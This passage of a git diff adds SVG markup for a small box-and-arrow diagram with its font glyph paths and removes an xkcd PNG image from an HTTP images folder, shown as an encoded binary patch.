+<path style="stroke:none;" d="M 2.234375 -9.03125 L 2.234375 -3.5 C 2.234375 -2.582031 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.046875 -0.953125 3.546875 -0.953125 C 3.796875 -0.953125 4.019531 -1.003906 4.21875 -1.109375 C 4.414062 -1.210938 4.59375 -1.347656 4.75 -1.515625 C 4.90625 -1.679688 5.039062 -1.875 5.15625 -2.09375 C 5.28125 -2.3125 5.378906 -2.535156 5.453125 -2.765625 L 5.453125 -9.03125 L 6.75 -9.03125 L 6.75 -2.5625 C 6.75 -2.132812 6.765625 -1.6875 6.796875 -1.21875 C 6.828125 -0.757812 6.875 -0.351562 6.9375 0 L 6.015625 0 L 5.6875 -1.265625 L 5.640625 -1.265625 C 5.429688 -0.867188 5.132812 -0.519531 4.75 -0.21875 C 4.363281 0.0703125 3.882812 0.21875 3.3125 0.21875 C 2.925781 0.21875 2.585938 0.164062 2.296875 0.0625 C 2.003906 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.347656 -0.703125 1.195312 -1.046875 1.09375 -1.484375 C 0.988281 -1.929688 0.9375 -2.492188 0.9375 -3.171875 L 0.9375 -9.03125 Z M 2.234375 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 3.3125 3.96875 C 2.851562 3.394531 2.46875 2.757812 2.15625 2.0625 C 1.851562 1.375 1.601562 0.664062 1.40625 -0.0625 C 1.21875 -0.789062 1.078125 -1.523438 0.984375 -2.265625 C 0.898438 -3.003906 0.859375 -3.710938 0.859375 -4.390625 C 0.859375 -5.046875 0.898438 -5.742188 0.984375 -6.484375 C 1.078125 -7.222656 1.21875 -7.960938 1.40625 -8.703125 C 1.601562 -9.441406 1.859375 -10.164062 2.171875 -10.875 C 2.492188 -11.582031 2.882812 -12.242188 3.34375 -12.859375 L 4.15625 -12.375 C 3.769531 -11.757812 3.445312 -11.113281 3.1875 -10.4375 C 2.9375 -9.757812 2.734375 -9.070312 2.578125 -8.375 C 2.429688 -7.6875 2.328125 -7.003906 2.265625 -6.328125 C 2.203125 -5.648438 2.171875 -5.003906 2.171875 -4.390625 C 2.171875 -3.804688 2.207031 -3.164062 2.28125 -2.46875 C 2.351562 -1.78125 2.46875 -1.085938 2.625 -0.390625 C 2.789062 0.304688 3 0.984375 3.25 1.640625 C 3.5 2.304688 3.800781 2.90625 4.15625 3.4375 Z M 3.3125 3.96875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 3.546875 0.21875 C 3.015625 0.195312 2.546875 0.140625 2.140625 0.046875 C 1.734375 -0.0351562 1.398438 -0.160156 1.140625 -0.328125 L 1.546875 -1.546875 C 1.742188 -1.421875 2.007812 -1.296875 2.34375 -1.171875 C 2.6875 -1.054688 3.085938 -0.984375 3.546875 -0.953125 L 3.546875 -6.09375 C 3.242188 -6.28125 2.945312 -6.484375 2.65625 -6.703125 C 2.375 -6.921875 2.125 -7.171875 1.90625 -7.453125 C 1.6875 -7.742188 1.503906 -8.078125 1.359375 -8.453125 C 1.222656 -8.835938 1.15625 -9.289062 1.15625 -9.8125 C 1.15625 -10.601562 1.351562 -11.265625 1.75 -11.796875 C 2.15625 -12.335938 2.753906 -12.675781 3.546875 -12.8125 L 3.546875 -14.453125 L 4.640625 -14.453125 L 4.640625 -12.84375 C 5.109375 -12.820312 5.5 -12.773438 5.8125 -12.703125 C 6.125 -12.640625 6.421875 -12.539062 6.703125 -12.40625 L 6.28125 -11.234375 C 6.082031 -11.335938 5.851562 -11.425781 5.59375 -11.5 C 5.34375 -11.582031 5.023438 -11.640625 4.640625 -11.671875 L 4.640625 -7.015625 C 4.941406 -6.804688 5.242188 -6.585938 5.546875 -6.359375 C 5.847656 -6.128906 6.113281 -5.863281 6.34375 -5.5625 C 6.582031 -5.269531 6.773438 -4.929688 6.921875 -4.546875 C 7.066406 -4.171875 7.140625 -3.734375 7.140625 -3.234375 C 7.140625 -2.367188 6.925781 -1.632812 6.5 -1.03125 C 6.070312 -0.425781 5.453125 -0.0390625 4.640625 0.125 L 4.640625 1.8125 L 3.546875 1.8125 Z M 4.359375 -1.03125 C 4.785156 -1.125 5.128906 -1.347656 5.390625 -1.703125 C 5.648438 -2.054688 5.78125 -2.535156 5.78125 -3.140625 C 5.78125 -3.722656 5.640625 -4.191406 5.359375 -4.546875 C 5.085938 -4.910156 4.753906 -5.238281 4.359375 -5.53125 Z M 3.828125 -11.625 C 3.335938 -11.53125 2.992188 -11.304688 2.796875 -10.953125 C 2.609375 -10.609375 2.515625 -10.242188 2.515625 -9.859375 C 2.515625 -9.328125 2.632812 -8.882812 2.875 -8.53125 C 3.125 -8.1875 3.441406 -7.875 3.828125 -7.59375 Z M 3.828125 -11.625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 0.859375 3.4375 C 1.210938 2.90625 1.515625 2.304688 1.765625 1.640625 C 2.023438 0.984375 2.234375 0.304688 2.390625 -0.390625 C 2.554688 -1.085938 2.675781 -1.78125 2.75 -2.46875 C 2.820312 -3.164062 2.859375 -3.804688 2.859375 -4.390625 C 2.859375 -5.003906 2.820312 -5.648438 2.75 -6.328125 C 2.6875 -7.003906 2.578125 -7.6875 2.421875 -8.375 C 2.273438 -9.070312 2.070312 -9.757812 1.8125 -10.4375 C 1.550781 -11.113281 1.234375 -11.757812 0.859375 -12.375 L 1.6875 -12.859375 C 2.132812 -12.242188 2.519531 -11.582031 2.84375 -10.875 C 3.164062 -10.164062 3.421875 -9.441406 3.609375 -8.703125 C 3.804688 -7.960938 3.945312 -7.222656 4.03125 -6.484375 C 4.113281 -5.742188 4.15625 -5.046875 4.15625 -4.390625 C 4.15625 -3.710938 4.113281 -3.003906 4.03125 -2.265625 C 3.945312 -1.523438 3.804688 -0.789062 3.609375 -0.0625 C 3.421875 0.664062 3.171875 1.375 2.859375 2.0625 C 2.546875 2.757812 2.164062 3.394531 1.71875 3.96875 Z M 0.859375 3.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.15625 -12.640625 C 1.34375 -12.679688 1.554688 -12.707031 1.796875 -12.71875 C 2.035156 -12.738281 2.273438 -12.75 2.515625 -12.75 C 2.753906 -12.757812 2.988281 -12.765625 3.21875 -12.765625 C 3.457031 -12.773438 3.679688 -12.78125 3.890625 -12.78125 C 4.765625 -12.78125 5.507812 -12.628906 6.125 -12.328125 C 6.738281 -12.035156 7.238281 -11.609375 7.625 -11.046875 C 8.007812 -10.484375 8.285156 -9.8125 8.453125 -9.03125 C 8.617188 -8.25 8.703125 -7.375 8.703125 -6.40625 C 8.703125 -5.539062 8.617188 -4.710938 8.453125 -3.921875 C 8.296875 -3.128906 8.023438 -2.429688 7.640625 -1.828125 C 7.253906 -1.222656 6.742188 -0.738281 6.109375 -0.375 C 5.484375 -0.0195312 4.691406 0.15625 3.734375 0.15625 C 3.578125 0.15625 3.378906 0.148438 3.140625 0.140625 C 2.898438 0.140625 2.648438 0.128906 2.390625 0.109375 C 2.128906 0.0976562 1.890625 0.0820312 1.671875 0.0625 C 1.453125 0.0507812 1.28125 0.0351562 1.15625 0.015625 Z M 3.953125 -11.546875 C 3.835938 -11.546875 3.707031 -11.546875 3.5625 -11.546875 C 3.425781 -11.546875 3.289062 -11.535156 3.15625 -11.515625 C 3.03125 -11.503906 2.910156 -11.492188 2.796875 -11.484375 C 2.679688 -11.472656 2.585938 -11.460938 2.515625 -11.453125 L 2.515625 -1.15625 C 2.554688 -1.144531 2.640625 -1.132812 2.765625 -1.125 C 2.898438 -1.125 3.035156 -1.117188 3.171875 -1.109375 C 3.304688 -1.109375 3.4375 -1.101562 3.5625 -1.09375 C 3.6875 -1.082031 3.78125 -1.078125 3.84375 -1.078125 C 4.507812 -1.078125 5.0625 -1.222656 5.5 -1.515625 C 5.945312 -1.804688 6.300781 -2.191406 6.5625 -2.671875 C 6.820312 -3.160156 7.003906 -3.726562 7.109375 -4.375 C 7.222656 -5.019531 7.28125 -5.707031 7.28125 -6.4375 C 7.28125 -7.070312 7.226562 -7.695312 7.125 -8.3125 C 7.03125 -8.925781 6.859375 -9.46875 6.609375 -9.9375 C 6.367188 -10.414062 6.035156 -10.800781 5.609375 -11.09375 C 5.179688 -11.394531 4.628906 -11.546875 3.953125 -11.546875 Z M 3.953125 -11.546875 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface33203">
+<rect x="0" y="0" width="561" height="441" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 9 9 L 37 9 L 37 31 L 9 31 Z M 9 9 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 15 C 16.134375 15 16 15.134375 16 15.3 L 16 17.885352 C 16 18.050977 16.134375 18.185352 16.3 18.185352 L 23.7 18.185352 C 23.865625 18.185352 24 18.050977 24 17.885352 L 24 15.3 C 24 15.134375 23.865625 15 23.7 15 Z M 16.3 15 " transform="matrix(20,0,0,20,-179,-179)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="186.976562" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="197.809896" y="160.853733"/>
+  <use xlink:href="#glyph0-3" x="206.143229" y="160.853733"/>
+  <use xlink:href="#glyph0-4" x="217.809896" y="160.853733"/>
+  <use xlink:href="#glyph0-5" x="222.25434" y="160.853733"/>
+  <use xlink:href="#glyph0-6" x="227.25434" y="160.853733"/>
+  <use xlink:href="#glyph0-7" x="236.143229" y="160.853733"/>
+  <use xlink:href="#glyph0-8" x="241.698785" y="160.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 15 C 28.134375 15 28 15.134375 28 15.3 L 28 17.885352 C 28 18.050977 28.134375 18.185352 28.3 18.185352 L 35.7 18.185352 C 35.865625 18.185352 36 18.050977 36 17.885352 L 36 15.3 C 36 15.134375 35.865625 15 35.7 15 Z M 28.3 15 " transform="matrix(20,0,0,20,-179,-179)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="395.589844" y="160.853733"/>
+  <use xlink:href="#glyph0-7" x="404.200955" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="409.75651" y="160.853733"/>
+  <use xlink:href="#glyph0-10" x="418.089844" y="160.853733"/>
+  <use xlink:href="#glyph0-6" x="426.978733" y="160.853733"/>
+  <use xlink:href="#glyph0-10" x="435.867622" y="160.853733"/>
+  <use xlink:href="#glyph0-11" x="444.75651" y="160.853733"/>
+  <use xlink:href="#glyph0-12" x="453.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-13" x="458.367622" y="160.853733"/>
+  <use xlink:href="#glyph0-14" x="466.423177" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="471.978733" y="160.853733"/>
+  <use xlink:href="#glyph0-15" x="480.312066" y="160.853733"/>
+  <use xlink:href="#glyph0-4" x="489.200955" y="160.853733"/>
+  <use xlink:href="#glyph0-5" x="493.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-6" x="498.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-7" x="507.534288" y="160.853733"/>
+  <use xlink:href="#glyph0-8" x="513.089844" y="160.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 27 C 22.134375 27 22 27.134375 22 27.3 L 22 29.885352 C 22 30.050977 22.134375 30.185352 22.3 30.185352 L 29.7 30.185352 C 29.865625 30.185352 30 30.050977 30 29.885352 L 30 27.3 C 30 27.134375 29.865625 27 29.7 27 Z M 22.3 27 " transform="matrix(20,0,0,20,-179,-179)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-16" x="286.15625" y="400.853733"/>
+  <use xlink:href="#glyph0-11" x="294.767361" y="400.853733"/>
+  <use xlink:href="#glyph0-17" x="303.65625" y="400.853733"/>
+  <use xlink:href="#glyph0-8" x="312.545139" y="400.853733"/>
+  <use xlink:href="#glyph0-18" x="325.878472" y="400.853733"/>
+  <use xlink:href="#glyph0-14" x="330.322917" y="400.853733"/>
+  <use xlink:href="#glyph0-14" x="335.878472" y="400.853733"/>
+  <use xlink:href="#glyph0-2" x="341.434028" y="400.853733"/>
+  <use xlink:href="#glyph0-15" x="349.767361" y="400.853733"/>
+  <use xlink:href="#glyph0-4" x="358.65625" y="400.853733"/>
+  <use xlink:href="#glyph0-5" x="363.100694" y="400.853733"/>
+  <use xlink:href="#glyph0-6" x="368.100694" y="400.853733"/>
+  <use xlink:href="#glyph0-7" x="376.989583" y="400.853733"/>
+  <use xlink:href="#glyph0-8" x="382.545139" y="400.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.708203 22.75 L 15.540625 22.75 C 16.207812 22.75 16.748828 23.30957 16.748828 24 C 16.748828 24.69043 16.207812 25.25 15.540625 25.25 L 10.708203 25.25 C 10.04082 25.25 9.5 24.69043 9.5 24 C 9.5 23.30957 10.04082 22.75 10.708203 22.75 Z M 10.708203 22.75 " transform="matrix(20,0,0,20,-179,-179)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-19" x="38.078125" y="309.892795"/>
+  <use xlink:href="#glyph0-2" x="46.967014" y="309.892795"/>
+  <use xlink:href="#glyph0-20" x="55.300347" y="309.892795"/>
+  <use xlink:href="#glyph0-11" x="64.189236" y="309.892795"/>
+  <use xlink:href="#glyph0-2" x="73.078125" y="309.892795"/>
+  <use xlink:href="#glyph0-21" x="81.411458" y="309.892795"/>
+  <use xlink:href="#glyph0-14" x="88.355903" y="309.892795"/>
+  <use xlink:href="#glyph0-4" x="93.911458" y="309.892795"/>
+  <use xlink:href="#glyph0-15" x="98.355903" y="309.892795"/>
+  <use xlink:href="#glyph0-13" x="107.244792" y="309.892795"/>
+  <use xlink:href="#glyph0-14" x="115.300347" y="309.892795"/>
+  <use xlink:href="#glyph0-13" x="120.855903" y="309.892795"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 161.625 275.722656 L 320.375 275.722656 L 320.375 299.121094 L 161.625 299.121094 Z M 161.625 275.722656 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="161.566406" y="294.129774"/>
+  <use xlink:href="#glyph1-2" x="169.621962" y="294.129774"/>
+  <use xlink:href="#glyph1-3" x="176.844184" y="294.129774"/>
+  <use xlink:href="#glyph1-4" x="184.89974" y="294.129774"/>
+  <use xlink:href="#glyph1-5" x="192.677517" y="294.129774"/>
+  <use xlink:href="#glyph1-6" x="196.844184" y="294.129774"/>
+  <use xlink:href="#glyph1-7" x="204.344184" y="294.129774"/>
+  <use xlink:href="#glyph1-6" x="212.39974" y="294.129774"/>
+  <use xlink:href="#glyph1-8" x="219.621962" y="294.129774"/>
+  <use xlink:href="#glyph1-9" x="227.39974" y="294.129774"/>
+  <use xlink:href="#glyph1-6" x="235.177517" y="294.129774"/>
+  <use xlink:href="#glyph1-10" x="242.677517" y="294.129774"/>
+  <use xlink:href="#glyph1-11" x="248.788628" y="294.129774"/>
+  <use xlink:href="#glyph1-12" x="253.788628" y="294.129774"/>
+  <use xlink:href="#glyph1-13" x="257.955295" y="294.129774"/>
+  <use xlink:href="#glyph1-14" x="266.010851" y="294.129774"/>
+  <use xlink:href="#glyph1-6" x="271.010851" y="294.129774"/>
+  <use xlink:href="#glyph1-8" x="278.233073" y="294.129774"/>
+  <use xlink:href="#glyph1-9" x="286.010851" y="294.129774"/>
+  <use xlink:href="#glyph1-6" x="293.788628" y="294.129774"/>
+  <use xlink:href="#glyph1-10" x="301.288628" y="294.129774"/>
+  <use xlink:href="#glyph1-11" x="307.39974" y="294.129774"/>
+  <use xlink:href="#glyph1-15" x="312.39974" y="294.129774"/>
+  <use xlink:href="#glyph1-16" x="316.566406" y="294.129774"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 16.748828 24 L 25.45 24 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.45 24.25 L 25.95 24 L 25.45 23.75 Z M 25.45 24.25 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.666602 10 L 28.333398 10 C 28.977734 10 29.5 10.55957 29.5 11.25 C 29.5 11.94043 28.977734 12.5 28.333398 12.5 L 23.666602 12.5 C 23.022266 12.5 22.5 11.94043 22.5 11.25 C 22.5 10.55957 23.022266 10 23.666602 10 Z M 23.666602 10 " transform="matrix(20,0,0,20,-179,-179)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-22" x="301.566406" y="54.892795"/>
+  <use xlink:href="#glyph0-6" x="314.621962" y="54.892795"/>
+  <use xlink:href="#glyph0-15" x="323.510851" y="54.892795"/>
+  <use xlink:href="#glyph0-2" x="332.39974" y="54.892795"/>
+  <use xlink:href="#glyph0-12" x="340.733073" y="54.892795"/>
+  <use xlink:href="#glyph0-4" x="345.455295" y="54.892795"/>
+  <use xlink:href="#glyph0-15" x="349.89974" y="54.892795"/>
+  <use xlink:href="#glyph0-13" x="358.788628" y="54.892795"/>
+  <use xlink:href="#glyph0-14" x="366.844184" y="54.892795"/>
+  <use xlink:href="#glyph0-13" x="372.39974" y="54.892795"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 350.171875 80.128906 L 445.070312 80.128906 L 445.070312 103.527344 L 350.171875 103.527344 Z M 350.171875 80.128906 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="350.171875" y="98.539931"/>
+  <use xlink:href="#glyph1-6" x="356.282986" y="98.539931"/>
+  <use xlink:href="#glyph1-11" x="363.782986" y="98.539931"/>
+  <use xlink:href="#glyph1-17" x="368.782986" y="98.539931"/>
+  <use xlink:href="#glyph1-2" x="378.227431" y="98.539931"/>
+  <use xlink:href="#glyph1-11" x="385.449653" y="98.539931"/>
+  <use xlink:href="#glyph1-2" x="390.449653" y="98.539931"/>
+  <use xlink:href="#glyph1-12" x="397.671875" y="98.539931"/>
+  <use xlink:href="#glyph1-13" x="401.838542" y="98.539931"/>
+  <use xlink:href="#glyph1-4" x="409.894097" y="98.539931"/>
+  <use xlink:href="#glyph1-2" x="417.671875" y="98.539931"/>
+  <use xlink:href="#glyph1-11" x="424.894097" y="98.539931"/>
+  <use xlink:href="#glyph1-2" x="429.894097" y="98.539931"/>
+  <use xlink:href="#glyph1-15" x="437.116319" y="98.539931"/>
+  <use xlink:href="#glyph1-16" x="441.282986" y="98.539931"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20 18.185352 L 20 21 L 26 21 L 26 26.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.75 26.45 L 26 26.95 L 26.25 26.45 Z M 25.75 26.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 32 18.235156 L 32 21 L 26 21 L 26 26.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.75 26.45 L 26 26.95 L 26.25 26.45 Z M 25.75 26.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 26 12.5 L 26 20.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.75 20.45 L 26 20.95 L 26.25 20.45 Z M 25.75 20.45 " transform="matrix(20,0,0,20,-179,-179)"/>
+</g>
 </svg>
diff --git a/_images/http/xkcd-full.png b/_images/http/xkcd-full.png
deleted file mode 100644
index d5b01ea32b94a14c620fc2374f75b58b506ceb49..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 10968
zcmZvCQ*b3*7wn0hOl;@GwkH$YoY)iFnAmnQv29Fj=ft*cJ9oan?!$e!PrDYXcUP}n
zwfbR)E6PhC!Q;UL001N@Nl|400NfD(0K<lb_?ICf)tdVkfGf(XihX^3{mZzyxj{oi
zo0*w?`}Xbf@={e*m6Vk9<Ksg_M5MjFeSCb}($bQUkdTdy4G|G>b93|V?k+4W3<n1%
zJw5&P_0`YM&(6+{hld9q9zHlY*vZL>o}PYgZtm&nX>DyyNJ!}I?X9Y+Dl;>)rKP33
zyj)RHQCeF1@bFMTKtMu5;^E;zTU)!JprEm_k%NN+9UVO>DapgbgNlkOK0f~Z{9H~>
zZf9r5$H&LOz#um_mz<nDH8nLRCT4niT0=vltE=ny_;_h)$=KL<XlMu%6O);lSxZZ+
zw6yg4`g&w!WN&Y;rlzK-sHnHMx4*x?uC5LQ0!2nf>gwu7L_}Q4?aKlHH1SfRKUCdU
z&(~q>R)uh&x1ajy16juXR=^O=g5>&OgQ61RW}-MhzJ3>l2=!B2rmX8-NJtlE%E#Z1
zJrZucAjncCj+(Hh|NoAUZgAjlX>OPA;|Gm)Tmf;nZy&CFD08y8Zj70S2r@s#(GAb9
z(qB5%uF7k~#bV67o1vuM^0AwX8}_2x+G41z@`(u+;4ep)e`EQvBwZ#q7myAe!f|BD
z<b#H0bSh6eqS^=`cpMcg6qJkDqlSqX)CE5F3TmGA^Z@NQ!hBLjOS5AFnW^W7*6_<0
z=AQyT?2i!K^3<7);;U2^79@GG4c912TD+04AhXGp97~M5KNyx)i(>y4X8gjuoI-hO
zL7xYIeT-wGhWQa$@-xb{P>Yp?2G^84MPaX`ng2K?@s2O?&qg3-sM;lrc3ws^(Zqrk
zjE&m94#W4&;Fc}RaoJAhe5cy&OtM=c5QP}Ah4rLKf024s%E*&qsp2!QHaT`<(H%8L
zQV#9tk(JH<<&Asfhw|x;Ql0?LSX#Y1mLOlZgVmG4x=~embtzX_6^xTIRr$|L<Qu~-
zmD-+-0pUk`1^c5I@m}9P&si6b&i-T$$1Z2e&gwD(4S6sA&B!BL1L`N1V>5RsEb7$h
zWYy5TdEjxeHzJm3+q7B<v`Fiz5En9n=Jg=FZZe7iH7S$x9<Cph=N9gUAmV`+bX#4f
zACx6=8=kuXH7aJCMTNl+7I58BHJq`WFFn_%gDcf=5e+OD#Dhqfws4J}09(km(}tVt
zFLo-p<Kn3yl}o9RYBDjLh=S<vEUQ%NFK{&me?!0bY!5diLTX-Tl*E8tiBfVgR+DIc
zYYVE@LB$!PqXX}Y4JRb#=zu^t#ddEJg(YqxZV%1ts3)_R5LISz4?)>(h0|m%X4kVS
z-7SD*L=^E5K`nPK8nSfnM%xI0GN13~j190cq%~6GJ<5mP6qoALEQYhTZ}HoN{NsoP
z;P4!1hf9J&aBo}b96cH?Yl1O?W_rx_#!&0}$SEqAB1hqba2u*08K|XE4lZ8pX%~<-
z2vi+zmV_4id$1p&^`1b5DYL?;MEP~KWb)be7vbzw)WSbx`MwA~I&(nYze4mv-^1cS
